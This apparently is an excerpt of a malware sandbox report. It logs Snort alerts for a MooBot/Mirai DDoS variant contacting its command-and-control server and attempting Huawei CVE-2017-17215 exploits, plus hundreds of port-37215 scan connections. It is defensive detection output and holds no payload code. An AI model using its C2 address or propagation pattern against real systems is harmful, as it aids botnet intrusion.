Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:51972 -> 103.188.244.189:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:51976 -> 103.188.244.189:43957
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52634 -> 197.49.230.238:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52634 -> 197.49.230.238:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60916 -> 103.124.190.78:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60916 -> 103.124.190.78:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:51980 -> 103.188.244.189:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:51982 -> 103.188.244.189:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:51984 -> 103.188.244.189:43957
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46574 -> 197.246.19.84:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46574 -> 197.246.19.84:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:51988 -> 103.188.244.189:43957

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 41.212.63.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 103.188.244.189 ports 43957,3,4,5,7,9

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 41400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 41400
Source: unknown	Network traffic detected: HTTP traffic on port 52634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 52634
Source: unknown	Network traffic detected: HTTP traffic on port 60916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 46574

Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.69.142.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.177.192.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.172.1.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 140.21.248.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.105.200.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.165.164.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.165.54.171:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.90.12.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.104.120.229:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.225.69.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 217.247.123.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.23.234.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 200.235.95.84:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 89.167.8.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 96.171.12.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.129.189.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.164.8.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.139.134.251:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.26.15.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.220.239.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.236.226.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.251.61.80:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.82.60.114:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.233.67.33:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 220.115.148.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.132.24.207:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.211.240.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.204.80.61:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.125.10.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 190.23.40.40:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 80.9.96.59:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.80.98.239:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.80.159.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 156.95.127.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.204.106.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 12.180.76.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.220.4.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.229.27.88:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.90.14.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.100.71.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 57.129.125.155:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.221.145.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.246.168.76:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.116.55.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 2.141.87.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.138.165.220:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.33.16.15:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.35.157.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 99.208.44.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 220.72.171.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.149.69.32:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.173.9.178:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.18.250.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 194.230.212.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.6.180.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 142.118.254.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.234.54.132:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 67.232.228.195:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 181.219.236.229:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.181.187.208:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.208.75.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.67.240.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.190.204.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 93.57.220.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.14.184.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.105.156.212:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.70.192.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.75.80.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 183.121.212.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.238.198.9:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.189.90.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.208.153.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 109.45.251.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.193.113.3:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 116.133.233.245:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.38.130.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.41.158.229:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.84.164.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.223.6.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.63.136.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.98.136.163:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.111.133.69:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.139.177.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.54.64.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.117.248.0:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.62.212.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.11.12.74:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 25.161.118.176:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.131.142.215:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.107.111.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 2.58.51.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.86.221.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.30.223.245:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.5.58.11:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.98.159.117:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.37.107.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.244.58.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 210.87.246.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.177.13.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.141.248.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.254.159.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 159.114.234.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.9.155.207:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 59.185.202.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.123.162.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 206.166.94.171:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.171.137.10:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.138.43.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.117.44.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.35.126.104:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.103.16.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.4.121.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.132.38.246:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.94.60.141:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.245.218.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.11.33.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.212.65.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.106.57.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 174.52.124.25:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 199.83.61.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.104.198.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.59.231.151:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 184.250.127.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.198.138.243:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.243.213.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 116.218.253.207:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.103.129.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.45.0.151:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.221.165.43:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 68.124.140.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.20.177.84:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.170.233.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.251.238.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.196.37.178:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.201.195.91:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.90.67.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.186.78.251:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.176.154.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.83.215.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.36.80.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.138.138.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.45.112.1:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.141.123.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 120.64.99.236:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.25.4.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 73.133.153.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.147.63.47:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.243.23.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.211.162.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.114.219.43:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.144.111.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.215.246.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.130.226.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.152.237.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.192.46.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.92.104.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.1.88.61:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.83.174.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.186.224.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.161.224.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.58.114.49:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.127.90.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.199.38.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 166.183.143.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.124.219.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.248.180.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.252.195.93:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.253.242.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.91.105.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.172.178.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.14.184.252:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.160.91.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.36.115.234:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.240.80.189:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.167.64.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.157.180.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.253.203.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.196.95.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.20.131.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.133.53.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.200.127.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 200.120.185.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 164.200.112.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.98.124.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 207.138.222.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.47.19.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 114.242.144.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.251.136.229:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.85.184.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.92.184.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.140.177.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.174.75.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.6.231.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.172.195.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 201.54.74.130:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.120.20.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.23.234.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.96.30.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.121.155.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.199.245.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.69.214.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 99.97.198.231:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 85.251.104.55:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.203.15.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.129.159.188:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.203.23.53:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.241.218.229:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.39.86.178:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.38.184.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.200.122.212:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.53.238.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 223.52.162.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.9.6.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 161.160.204.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.11.166.189:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.224.49.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.45.25.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.70.131.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.143.71.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.80.110.194:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.23.140.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.245.21.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.245.173.10:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 198.38.188.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.138.140.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.202.39.97:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.165.164.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 57.72.131.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 179.109.157.239:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.12.156.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.148.45.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 123.239.219.104:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.2.55.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 216.20.249.152:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.196.28.25:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.172.35.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.129.97.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.230.3.157:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.188.41.15:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.41.97.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.54.205.53:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 202.92.113.69:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.22.79.231:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.64.144.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 24.10.67.76:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.86.83.245:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.235.123.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.27.142.223:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.234.200.79:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 187.252.196.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.10.181.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.58.147.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.194.75.223:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.255.204.119:37215
Source: global traffic	TCP traffic: 192.168.2.13:51942 -> 103.188.244.189:43957
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.163.177.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.99.176.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 85.54.214.163:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.96.204.17:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.21.80.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.188.141.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.42.36.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 154.212.134.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.177.249.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.159.25.79:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.54.158.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.42.166.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.69.211.83:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.246.210.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 122.86.248.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.89.143.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.193.234.93:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 114.120.195.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.214.195.15:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.71.129.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.142.219.22:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.241.166.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 35.150.196.130:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 160.64.4.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.188.114.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.124.22.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.232.32.97:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.133.206.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.145.160.155:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.211.185.201:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 106.240.167.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.157.18.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.40.74.69:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.51.55.120:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.255.166.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.30.124.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.113.146.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.46.79.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.142.191.221:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.9.153.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 164.197.119.245:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.19.132.178:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.235.85.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 189.9.92.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 67.103.81.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.151.119.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.134.162.55:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.44.246.80:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.195.125.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.209.50.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.225.65.85:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.80.225.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 185.191.213.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 190.17.64.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.1.8.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 62.48.183.157:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.164.241.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.38.94.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.90.47.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.48.33.1:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.226.161.97:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 37.130.130.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.187.31.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.143.246.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 93.134.233.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.158.217.188:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 8.221.244.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 53.3.184.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.101.140.6:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.102.119.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.21.170.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.138.206.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.190.193.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.212.63.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.23.186.194:37215
